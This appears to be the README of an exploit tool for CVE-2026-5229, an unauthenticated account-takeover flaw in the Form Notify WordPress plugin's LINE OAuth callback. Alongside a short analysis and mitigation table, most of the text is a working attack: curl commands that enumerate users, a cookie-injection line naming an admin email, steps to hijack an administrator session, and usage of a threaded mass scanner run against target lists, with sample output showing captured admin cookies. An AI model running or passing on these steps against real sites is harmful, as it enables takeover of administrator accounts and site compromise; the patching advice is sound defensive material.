
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) Vulnerability Type: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAffected Versions: <= 1.1.10 Patched Version: 1.1.11+ Researcher: Paolo Tresso — Wordfence
The Form Notify plugin is a WordPress plugin that sends notifications after form submissions and provides a LINE Login OAuth 2.0 integration.
The vulnerability exists in the LINE OAuth callback handler. After the user completes the LINE authorization flow, the plugin resolves the WordPress account solely by email address. It never checks whether the LINE account was previously linked to that WordPress account.
| Version | Vulnerability | Attack Method |
|---|---|---|
| <= 1.1.08 | Cookie Injection + Email Match | Path A or Path B |
| 1.1.09 – 1.1.10 | Email Match (cookie removed) | Path B |
| 1.1.11+ | Patched | — |
The LINE OAuth callback endpoint is registered as completely public:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // no authentication required
},
)
);
WordPress nonces are CSRF tokens, not authentication tokens. Any visitor can obtain a valid nonce from the page HTML and pass the validation check.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // searches only by email
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // NO linkage check
}
return false;
}
If a match is found, the login() method immediately starts a session:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
When the LINE profile does not return an email ($user->email is empty),
the plugin reads the browser cookie directly.
The attacker has full control over this cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// If no transient, falls back to $_SESSION
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
If the transient expires, the $_SESSION fallback is used.
In most WordPress installations, $_SESSION is not populated at this point →
state check can be bypassed.
// sign_up() method
$userdata = array(
'user_pass' => $user_email, // password = email address
...
);
In accounts created via the LINE OAuth flow, the password is the same as the email address. This directly allows brute-force or login attacks.
| Reason | Description |
|---|---|
| No Authentication Required | Callback endpoint is completely public |
| No Linkage Check | Any LINE account is sufficient |
| Cookie Attack | <= 1.1.08 does not even require an email |
| All Accounts Including Admin | get_user_by('email') affects everyone |
| Weak State Control | CSRF protection can be bypassed |
| Email = Password | OAuth-created accounts are vulnerable to trivial brute-force |
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
Prerequisites:
TARGET="https://target.com"
# Get user list from WordPress REST API
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Or via author pages
curl -s "$TARGET/?author=1" -I | grep Location
Open browser developer tools and paste into console:
document.cookie = "[email protected]; path=/";
Or with curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Open the LINE OAuth URL from the Location header in the browser.
On the LINE consent screen, do not grant email permission, or use a LINE account without an email. LINE redirects to the callback without an email. The plugin falls back to the cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Expected response:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Same as Path A Step 1.
Create a LINE account at account.line.biz with the target email.
(Requires email verification — access to the target inbox is necessary.)
https://target.com/wp-json/form-notify/v1/login
On the LINE consent screen, grant email permission. LINE returns the email address in the callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator found
→ wp_set_auth_cookie(1)
→ Session started ✓
git clone https://github.com/user/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://target.com
python form_notify_rce.py -u http://target.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://target.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://target.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o results.txt
python form_notify_rce.py -u http://target.com \
--proxy http://127.0.0.1:8080
| Parameter | Short | Description | Default |
|---|---|---|---|
--url | -u | Single target URL | — |
--list | -l | Target list file | — |
--threads | -t | Number of threads | 10 |
--output | -o | Output file | auth_bypass.txt |
--email | — | Target user email | automatic discovery |
--path | — | Attack path (A / B / both) | both |
--max-users | — | Max users per target | 5 |
--proxy | — | Proxy URL | — |
--timeout | — | Request timeout (s) | 10 |
| Status | Description |
|---|---|
★ AUTH OK | Session cookie obtained — fully automatic |
★ WP-ADMIN | Redirected to /wp-admin |
~ MANUAL | OAuth URL ready, complete in browser |
~ PATH B | Manual steps with LINE account |
- NO_PLUGIN | Form Notify not installed |
- NO_LINE | LINE Login not active |
~ NO_TARGET | User email not found |
~ UNREACH | Target unreachable |
[*] 3 targets | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://target1.com (Path A)
Target Email : [email protected]
Version : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
User : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://target2.com (Path A — Manual completion)
Target Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://target3.com (LINE Login not active)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| Measure | Implementation |
|---|---|
| Plugin Update | Upgrade to Form Notify 1.1.11+ |
| LINE Linkage Check | Save LINE ID to user meta, verify at every login |
| Remove Cookie Fallback | Eliminate use of $_COOKIE['form_notify_line_email'] |
| State Validation | Remove transient fallback, reject expired state |
| Password Policy | Do not use email as password in sign_up() |
| REST Endpoint Protection | Apply rate limiting to the callback endpoint |
Safe account resolution example:
// Insecure (current)
$user = get_user_by( 'email', $line_email );
// Secure (recommended)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // match by LINE ID
) );
form-notify-bypass/
├── form_notify_rce.py # Main scanner
├── requirements.txt # Dependencies
└── README.md # This file
This tool and PoC are prepared exclusively for authorized systems, educational purposes, and within the scope of penetration testing. Unauthorized use on systems is a crime under the Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability arising from misuse of this tool.
MIT License — For educational and research purposes only.